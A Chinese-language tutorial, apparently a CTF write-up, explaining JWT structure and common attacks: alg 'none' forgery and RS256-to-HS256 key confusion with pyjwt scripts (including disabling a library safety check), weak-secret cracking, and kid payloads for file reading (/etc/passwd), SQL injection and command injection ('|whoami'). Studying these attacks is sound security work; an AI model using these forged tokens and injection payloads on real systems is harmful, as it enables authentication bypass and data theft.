JWT简介

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

JWT组成

jwt由三个部分组成:header.payload.signature

第一部分头部解码后表示一个简单的JSON对象,一般来说这个对象描述了JWT所使用的签名算法和类型,最常用的两个字段是algtypalg指定了token加密使用的算法(最常用的为HMACRSA算法),typ声明类型为JWT

header通常会长这个样子:

1
2
3
4
{
"alg" : "HS256",
"typ" : "jwt"
}

经过Base64URL编码之后就为eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9

【注】: Base64URL是base64修改版,为了方便地在Web中传输使用了不同的编码表,不会在末尾填充=号,并将+/分别改为-_

payload

第二部分是JWT的核心,也就是载荷.储存一些用户的数据(用户名,时间戳,过期时间等等).通常遵守的原则是存储尽量少的必要数据在载荷中,因为Base64可解,基本上相当于明文传输了

1
2
3
4
{
"key":"val",
"iat":1422605445
}

经过Base64URL编码之后就为eyJrZXkiOiJ2YWwiLCJpYXQiOjE0MjI2MDU0NDV9

signature

最后一部分是签名,是根据头部和载荷通过密钥secret和指定的签名算法进行加密计算出来的一个签名,密钥保存在服务端,用来校验JWT是否有效,保证完整性,抽象成公式就是

1
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

这里的值为eUiabuiKv-8PYk2AkGY4Fb5KMZeorYBLw261JPQD5lM

综上述,这个JWT完整版为

1
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.eyJrZXkiOiJ2YWwiLCJpYXQiOjE0MjI2MDU0NDV9.eUiabuiKv-8PYk2AkGY4F

攻击方式

加密算法可控

修改加密算法为None

1
2
docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

访问8080端口,是一个登录框,尝试登录失败后会给出正确的账号密码

1

登陆进去后抓包

2

此时cookie中的Token就是认证通过之后的JWT,拿去解码:https://jwt.io/

1
2
3
4
5
6
7
8
9
10
11
12
//Header
{
"typ": "JWT",
"alg": "HS256"
}
//Payload
{
"auth": 1602293231786,
"agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
"role": "user",
"iat": 1602293232
}

这里Payload中的role为user,我们将其改成admin,并且将alg的值改为none,然后借助pyjwt库生成新的JWT

1
2
3
import jwt
payload = {"auth":1602293231786,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36","role":"admin","iat":1602293232}
print(jwt.encode(payload,None,algorithm="none"))

encode()函数里面第一个参数是传入json格式的payload,第二个参数是公钥,第三个参数是加密算法

得到的token去替换之前的token,得到flag

3

修改加密算法为对称加密

在非对称加密算法(常见的RS256等)下,服务端会使用私钥进行签名,公钥进行验证;倘若攻击者获取到了服务端的公钥,并将签名算法改为对称加密算法(常见HS256等),服务端还是会用公钥进行验证签名,这样就成功的通过了服务端的验证

例题地址:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

进去即可拿到JWT

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYwMjI5NzkxNSwiZXhwIjoxNjAyMjk4MDM1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.oGNwXwulZp9NL0LH-GIAaoAzYwlZgMPyxHNp2l8Xyx2gvILAL0GSZeKv7xyDsoVSxFh4lTZnXQz-TSt3hlEn5Zuaya278Xd2e69bCba3QQabHXitOwCqMWTpSH7BJnvwivox4-G8zvrvzyQHd7ZikwYeVc1lSwNifwS8gkt1YNyRSnsFwb7rU3sBHs2gQ0y-9CeDG7OGl87c0R8JVav8LllxFn6hUtwXtqg3IODpUKUOpLapQhHNwuRh80mhicvOjTq7Fy4EuoEYSDw53BI6EsjigoSYCeMqXuX6nk03r-KnL3yUJf9ZsOkPFC9577eMBq3QMXVF_TLYm0y44bJP_A

通过解密得到部分信息

1
2
3
4
5
6
7
8
9
10
11
12
13
//Header
{
"typ": "JWT",
"alg": "RS256"
}
//payload
"iss": "http://demo.sjoerdlangkemper.nl/",
"iat": 1602297915,
"exp": 1602298035,
"data": {
"hello": "world"
}
}

RSA的公钥地址: public.pem

将算法改为HS256,然后利用该公钥对其进行签名

1
2
3
4
import jwt
key = open('public.pem','r').read()
data = {"hello":"ghtwf01"}
print(jwt.encode(data, key=key, algorithm='HS256'))

但是运行的时候,pyjwt会校验密钥的格式,然后会报错

4

我们定位到algorithms.py的150行

1
2
3
4
if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')

这里会进行判断然后报错,我们直接将这一段给注释掉,然后回来执行就没有问题了

密钥弱口令

工具:

以下是几个使用示例(没有示例就直接搬网上图片了)

5

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}

SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

1
2
3
4
5
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}

命令注入

kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

1
"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了

修改JKU/X5U参数

JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kidJKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。

X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式类似